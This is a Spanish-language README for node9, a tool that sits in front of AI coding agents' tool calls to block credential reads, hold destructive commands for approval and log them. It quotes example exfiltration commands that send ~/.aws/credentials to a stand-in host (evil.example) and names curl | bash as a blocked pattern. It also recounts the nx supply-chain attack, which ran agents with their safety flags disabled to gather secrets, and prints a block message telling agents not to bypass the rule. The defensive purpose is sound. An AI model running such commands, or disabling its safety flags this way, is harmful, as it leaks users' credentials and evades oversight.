Node9-Proxy

La capa de seguridad de ejecución para la era de los agentes. Proporciona gobernanza "Sudo" determinista y registros de auditoría para agentes de IA autónomos.

Documentación

🛡️ node9

IAM para tus agentes de IA

Tus agentes de IA pueden acceder a Slack, GitHub, correo electrónico y tu base de datos.
node9 decide qué pueden hacer con cada uno.

npm version monthly downloads License: Apache 2.0 Documentation OpenSSF Best Practices OpenSSF Scorecard node9 self-scanned Mentioned in Awesome Claude Code

Cárcel de credenciales · secretos y PII · git destructivo, SQL y shell retenidos para revisión · Fijación de herramientas MCP · lista de permitidos de salida de red · rompedor de bucles · un registro en doce agentes

Funciona con Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · cualquier servidor MCP.

Cómo se ve

Tu agente a la izquierda, node9 a la derecha. Cada llamada de herramienta que hace el agente se verifica antes de ejecutarse: permitida y registrada, retenida para tu aprobación, o bloqueada. El agente aquí se lanzó con --dangerously-skip-permissions, y node9 aún decide.

node9 monitor: live tool calls, decisions, shields and score

Instalación

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Luego, en cualquier proyecto:

node9 init       # finds your agents and MCP servers and puts node9 in front of every tool call
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Requiere Node.js 22+.

init es todo el producto. Escribe los hooks, activa la cárcel de credenciales y las reglas siempre activas, y comienza a hacer cumplir de inmediato. Nada sale de la máquina y no se necesita ninguna cuenta.

login no agrega nada al cumplimiento. Conecta la máquina a un espacio de trabajo para que un equipo pueda ver un registro en todos los portátiles y CI, establecer políticas de forma centralizada, y aprobar acciones retenidas desde un panel o Slack. Omítelo y node9 funciona exactamente igual, solo, sin conexión. node9 logout desconecta nuevamente y el cumplimiento local sigue ejecutándose.

El problema

En agosto de 2025, versiones comprometidas de la nx herramienta de compilación enviaron un script post-instalación que buscaba agentes de codificación de IA ya instalados en la máquina del desarrollador, luego los ejecutaba con sus propias banderas de seguridad desactivadas (--dangerously-skip-permissions, --yolo, --trust-all-tools) para enumerar claves SSH, credenciales en la nube y archivos de billetera y escribir la lista en disco. El script envió los resultados a repositorios públicos dentro de las propias cuentas de GitHub de las víctimas. Más de mil tokens válidos de GitHub se filtraron, junto con credenciales en la nube, tokens de npm y aproximadamente 20,000 archivos, de máquinas donde el agente estaba haciendo exactamente lo que se le decía.

El agente no era el atacante. El agente era la herramienta, y nada se interponía entre él y los archivos. La puerta de node9 no es una de esas banderas: se ejecuta en el hook, y una acción que retiene permanece retenida incluso cuando el agente se inició con permisos omitidos.

Qué hace node9 al respecto

node9 se sitúa entre el agente y cada herramienta que llama. La cárcel de credenciales (~/.ssh, ~/.aws, .env archivos, claves privadas) está activada por defecto, y una lectura de una de esas rutas no se ejecuta. El agente se detiene, se le dice por qué, y la decisión llega a ti:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

El comando se analiza como un AST de shell, no se compara como texto, por lo que envolver la lectura no ayuda. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example se juzga como una lectura de ~/.aws/credentials, no como un echo.

node9 es una puerta. Una acción retenida no se ejecuta mientras espera por ti, y si nunca respondes permanece bloqueada. Todo lo demás se permite y se escribe en el registro.

Lo que no hace: con el control de salida desactivado, que es el valor predeterminado, un comando que entrega un archivo directamente a la red, como curl -d @~/.aws/credentials, no se trata como una lectura de ese archivo. node9 egress protect también controla los destinos, y cubre solo comandos de shell.

Verifícalo tú mismo

Nada de lo siguiente necesita una cuenta, y nada se sube.

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

node9 scan scorecard

Qué gobierna

Cada línea es una capacidad, con la página que la documenta. Los documentos son la referencia; este archivo es el mapa.

Cárcel de credenciales~/.ssh, ~/.aws, .env y claves privadas están bloqueadas de cada herramienta, no solo del shelldocs
Reglas siempre activasgit destructivo, SQL sin un WHERE, curl | bash y sudo no autorizado, sin configuracióndocs
Secretos y PIIclaves de AWS, tokens de GitHub y Stripe, claves PEM y formas de tarjetas o SSN, en cualquier argumento de herramienta, más un escaneo en segundo plano de lo que el agente escribió de vueltadocs
Escudos por serviciopaquetes de reglas seleccionados para Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub y el sistema de archivosdocs
Revisión en líneauna acción retenida te pregunta dentro de la conversación del agente, o a través de un aprobador de equipodocs
Lista de permitidos de salidacontrola dónde un comando de shell puede enviar datos, desactivado por defectodocs
Puerta de enlace MCPenvuelve cualquier servidor MCP, autoriza cada herramienta, y fija las definiciones de herramientas para que un servidor no pueda cambiarlas a tus espaldasdocs
Sandboxejecuta un agente en un contenedor con una lista de permitidos de salida de kernel y montajes con alcancedocs
Puntuación de posturacuán expuesta está esta máquina, con el comando que corrige cada hallazgodocs
Escaneo de repositoriosencuentra flujos de trabajo donde un externo podría secuestrar un agente que tiene tus secretos, en CI o desde la CLIdocs
Historial de sesioneslee lo que cada agente ya hizo en esta máquina, antes de que se instalara node9docs
Monitor en vivo e informeun panel de terminal, y un resumen en ventana de costo, herramientas, bloqueos y radio de explosióndocs
Fijación de habilidadesverificación SHA-256 de las habilidades y plugins de Claude instalados entre sesionesdocs
Credenciales señueloclaves falsas plantadas que prueban que ocurrió un intento de exfiltracióndocs
SDK de Pythongobierna cualquier agente de Python, no solo las CLIdocs

Referencia completa de CLI y configuración: node9.ai/docs. Cómo encajan las capas: cómo funciona.

Aprende

Lectura de fondo, escrita para sostenerse por sí sola. Cada página dice lo que node9 no cubre.

Compara

Proyectos relacionados

Empresa

node9 Pro agrega bloqueo de gobernanza, SAML/SSO, exportación de auditoría central y despliegue en VPC. Consulta node9.ai.

Licencia

Apache-2.0

Construido con ☕ y paranoia saludable.